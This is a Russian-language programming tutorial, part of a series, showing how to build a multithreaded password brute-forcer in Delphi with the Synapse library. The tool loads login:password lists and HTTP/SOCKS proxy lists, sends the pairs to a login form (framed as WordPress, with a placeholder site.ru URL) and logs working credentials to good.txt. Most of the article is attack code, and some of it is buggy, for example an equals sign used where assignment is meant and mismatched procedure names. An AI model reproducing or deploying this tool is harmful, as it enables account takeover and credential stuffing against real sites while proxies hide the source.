Пишем Brute на Delphi. Часть 4. Brute на Synapse

Всем здрасте.

Сегодня, после долгого перерыва, рассмотрим написание многопоточного Brute по той же технологии, что и в предыдущей статье, с тем лишь условием, что писать его будем не с помощью vcl (idhttp), а с помощью библиотеки Synapse.
Автор предполагает, что сию библиотеку вы благополучно установили сами (благо в google.com информации немыслимое количество :) ).
Итак, первым делом разберёмся, что за это такая библиотека и что же такого плохого в Indy. Ну как минимум то, что Indy - компоненты могут выдать ошибку там, где её быть не должно в принципе (у кого как, а это личное наблюдение), поэтому Synapse в этом плане в разы стабильнее.
Ну, начнём.

Для начала делаем дизайн. Тут уж как кому заблагорассудится. У меня получилось что-то вроде этого:



В Combobox'е TypeProxy задаём 4 типа, с которыми придётся работать бруту:

HTTP/HTTPS
Socks4
Socks5

И начинаем писать. Сначала забиндим кнопки "Загрузить базу login/pass" и "Загрузить список Proxy":

var

listacc: TStringList;


FormCreate:

listacc:= TStringList.Create;


onclick:

begin
form1.OP1.InitialDir:= extractfiledir(application.ExeName); //Дир-ия по-умолчанию будет дирректория приложения
if form1.OP1.Execute then //Если OpenDialog1 вызван, тогда:
  begin
    listacc.Clear; //Очищаем StringList
    listacc.LoadFromFile(form1.OP1.FileName); //Загружаем в listacc открытый файл
    form1.SB1.Panels[0].Width:= 120; //Задаём ширину 1-ой панели
    form1.SB1.Panels[0].Text:= 'number: '+ inttostr(listacc.Count); //Задаём текст 1-ой панели
  end;
end; 


Тем самым мы загрузили список Login :; Pass

Аналогичные действия делаем с кнопкой "Загрузить список Proxy":

var

ProxyList: TStringList;


FormCreate:

ProxyList:= TStringList.Create;


onclick:

begin
form1.OP1.InitialDir:= extractfiledir(application.ExeName); //Дир-ия по-умолчанию будет дирректория приложения
if form1.OP1.Execute then //Если OpenDialog1 вызван, тогда:
  begin
    ProxyList.Clear; //Очищаем StringList
    ProxyList.LoadFromFile(form1.OP1.FileName); //Загружаем в listacc открытый файл
    form1.SB1.Panels[1].Width:= 120; //Задаём ширину 1-ой панели
    form1.SB1.Panels[1].Text:= 'proxy: '+ inttostr(ProxyList.Count); //Задаём текст 1-ой панели
  end;
end;


Тем самым мы загрузили список Proxy.

Идём дальше. А дальше у нас кнопка Start, которая будет после нескольких действий вызывать Execute потока. Но обо всё по-порядку. В публичную секцию переменных кинем:

var

GoodFile, BadFile:textfile;


Ну и первым делом на кнопке Start пропишем создание этих файлов:

AssignFile(GOODFile,ExtractFileDir(Application.ExeName)+'good.txt');
Rewrite(GoodFile);
CloseFile(GoodFile);
 
AssignFile(BadFile,ExtractFileDir(Application.ExeName)+'bad.txt');
Rewrite(BadFile);
CloseFile(BadFile);


Далее идёт определение разделителя (да-да, именно этот "огромный" код почему-то выдают за супер фичу, которую пишут в особенностях брута):

var

 delitel: String;


onclick:

if pos(':', listacc.text) <> 0 then
delitel:= ':' else delitel:= ';';


Далее определим тип proxy:

var

ProxyType: String;


onclick:

if form1.typeProxy.ItemIndex = 0 then //typeProxy - name Combobox'а
ProxyType = 'http' else ProxyType:= 'socks';


Теперь обнуляем переменные и запускаем цикл. Ничего нового, тут уже как в прошлой части:

var

acc, thread: integer;


onclick:

Acc:=-1;
Work:=true;
for Thread:=0 to strtoint(txtthread.TExt) do
 begin
  pwpotok.Create(false);
 end;
  Thread:=strtoint(form1.txtthread.TExt);
end;


Соответственно надо не забыть создать поток ;) :

 type
  pwpotok = class(TThread)
  private
    { Private declarations }
  protected
    procedure Execute; override;
  end; 
 
procedure pwpotok.Execute;
begin
 
end;


Почему поток не запустится? Правильно, потому что конструктор не сказал, что ему делать при запуске. Исправим, создав конструктор:

В секции type потока объявим раздел PUBLIC, где укажем конструктор:

 type
..
public
    constructor Create(CreateSuspended: Boolean);
 
 
constructor pwpotok.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;


Теперь то, что почти не затронул в прошлых уроках. Несколько слов о конструкторах, о ключевом слове inherited.
Конструктор, грубо говоря, чем-то поход на метод (например .Create). Он вызывается в начале работы программы, проверяет заданные в нём инструкции и выполняет их. Конструктор, прежде всего, предназначен для создания объекта из класса. Т.е. вы пишете класс, унаследованный от какого либо объекта, и в нём прописываете конструктор, в котором задаёте какие-либо действия. Эти действия выполнятся при запуске программы. Соответственно есть и деструкторы классов. Тоже самое что и конструкторы, но вызываются в конце работы программы и используются для уничтожения объекта. Подразумевается, что имена своим конструкторам и деструкторам вы будете давать Create и Destroy соответственно.

Ключевое слово inherited используется тогда, когда нужно для текущего класса вызвать конструктор родительского класса как соответствующий. Т.е. класс является наследником какого-либо объекта, и прописав для него inherited вы скажете, что для данного класса-наследник конструктором будет тот конструктор, который стоит по-умолчанию у объекта-родителя.

Едем дальше. А дальше то, что собственно и есть главной функцией брута - запросы. Описываются они, как уже понятно, в методе Execute потока. Теперь важно определить, для какого сайта или движка будем писать брут. Я выберу типичный wordpress, что бы не усложнять код. В вордпрессе, как мы помним, в запросе надо передать 2 обязательных параметра: log и pwd.

Procedure pwpotok.Execute;
var CurAcc, TP:integer; // Настоящий логин/пароль и настоящий proxy
    HTTP:THTTPSend; //Переменная типа THttpSend, сама библиотека Synapse
    IP, Port:string; //Порт и адрес Proxy
    data:TStringStream; //переменная типа TStringStream, куда будут ложиться параметры запроса
    HTML, src:TStringList; // StringList'ы
begin
 while Work do //Тут всё аналогично с idhttp, лишь в критической секции добавляется контроль за списком Proxy
  begin
 
   CS.Enter;
    Inc(Acc);
    if Acc<listacc.Count-1 then CurAcc:=Acc else Work:=false;
    if 1<Proxylist.Count-1 then TP:=1 else begin end;
   CS.Leave;
 
   if Work then
    begin
 
     //copy login
     FLogin:= Copy(listacc[CurAcc],1,Pos(delitel,listacc[CurAcc])-1);
     FPassword:= Copy(listacc[CurAcc],Pos(delitel,listacc[CurAcc])+1,Length(listacc[CurAcc]));
     ShowMessage(flogin+' : '+fpassword);
 
     //copy proxy
     if ProxyList.Text = '' then
     begin
      sleep(0);
     end
      else
     begin
     IP:=Copy(ProxyList[TP], 1, Pos(':', ProxyList[TP])-1);
     Port:=Copy(ProxyList[TP],Pos(':',ProxyList[TP])+1,Length(ProxyList[TP]));
     end;
 
     HTTP:=THTTPSend.Create; //А теперь пошёл в бой Synapse.
     //Заголовки
     with HTTP do begin // что такое заголовки запроса ты знать должен. Копируем их из сниффера.
      Headers.Add('Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01');      MimeType:='application/x-www-form-urlencoded';
      Headers.Add('Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3');
      Headers.Add('Connection: keep-alive');
     end;
 
     //POST
     data:=Tstringstream.Create; //Инициаллизируем
     data.WriteString('log='+ Flogin+'&pwd='+ Fpassword); //Добавляем параметры
     HTTP.Document.LoadFromStream(data); //Загружаем
 
     //Выставляем Proxy
     if Proxylist.Text = '' then
      begin
      sleep(0)
      end else
     begin
     //socks
     if proxytype='socks' then
     begin
     HTTP.Sock.SocksIP:=IP;
     HTTP.Sock.SocksPort:=Port;
     end;
     //HTTP
     if proxytype='http' then
     begin
     HTTP.ProxyHost:=IP;
     HTTP.ProxyPort:=Port;
     end;
     end;
 
//Отправляем запрос
     if HTTP.HTTPMethod('POST', 'http://site.ru/login.php') then begin
     if pos('Set-Cookie: pwd=', HTTP.Headers.Text)<>0 then //Проверяем успешна-ли авторизация
     Rezult:=1 else Rezult:=-1;
 
     HTTP.Free;
     src.Free;
     data.Free;
     Synchronize(Sunch);
    end;
  end;
 
 dec(Thread);
 if Thread=0 then ShowMessage('Всё ок');
end;
end;


Ну и процедура синхронизации:

procedure pwpotok.Synch;
begin
case Rezult of // если Rezult =
1: begin // 1, то:
    form1.SB1.Panels[4].Text:= form1.SB1.Panels[3].Text + inttostr(strtoint(form1.SB1.Panels[3].Text)+1);
    Append(GoodFile); // открываем для записи файл GoodFile
    WriteLn(GoodFile, FLogin+':'+FPassword); // Записываем в него логин : пароль
    closefile(GoodFile); // закрываем
   end;
-1: begin
    form1.SB1.Panels[4].Text:= form1.SB1.Panels[4].Text + inttostr(strtoint(form1.SB1.Panels[4].Text)+1);
    Append(BadFile); // аналогично
    WriteLn(BadFile, FLogin+':'+FPassword);
    closefile(BadFile);
   end;
end;
end;


Здесь всё так же, как и в предыдущей статье по бруту на обычных idhttp.
Собственно примерно так и пишется движок брута на Synapse. Все настройки дополняются уже исходя из сайта, который нужно забрутить. На основе этого исходника я в скором времени выложу готовый проект, нацеленный на брут какого-либо сайта.

Спасибо за внимание.
Теги:
form1, listacc, ProxyList, Задаём, TStringList, панели, BadFile, список, ExeName, Execute, GoodFile, Загрузить, будет, Proxy, begin, тогда, вызван, Clear, Очищаем, FileName
Добавлено: 24 Февраля 2015 21:35:06 Добавил: Андрей Ковальчук Нравится 0
Добавить
Комментарии:
Нету комментариев для вывода...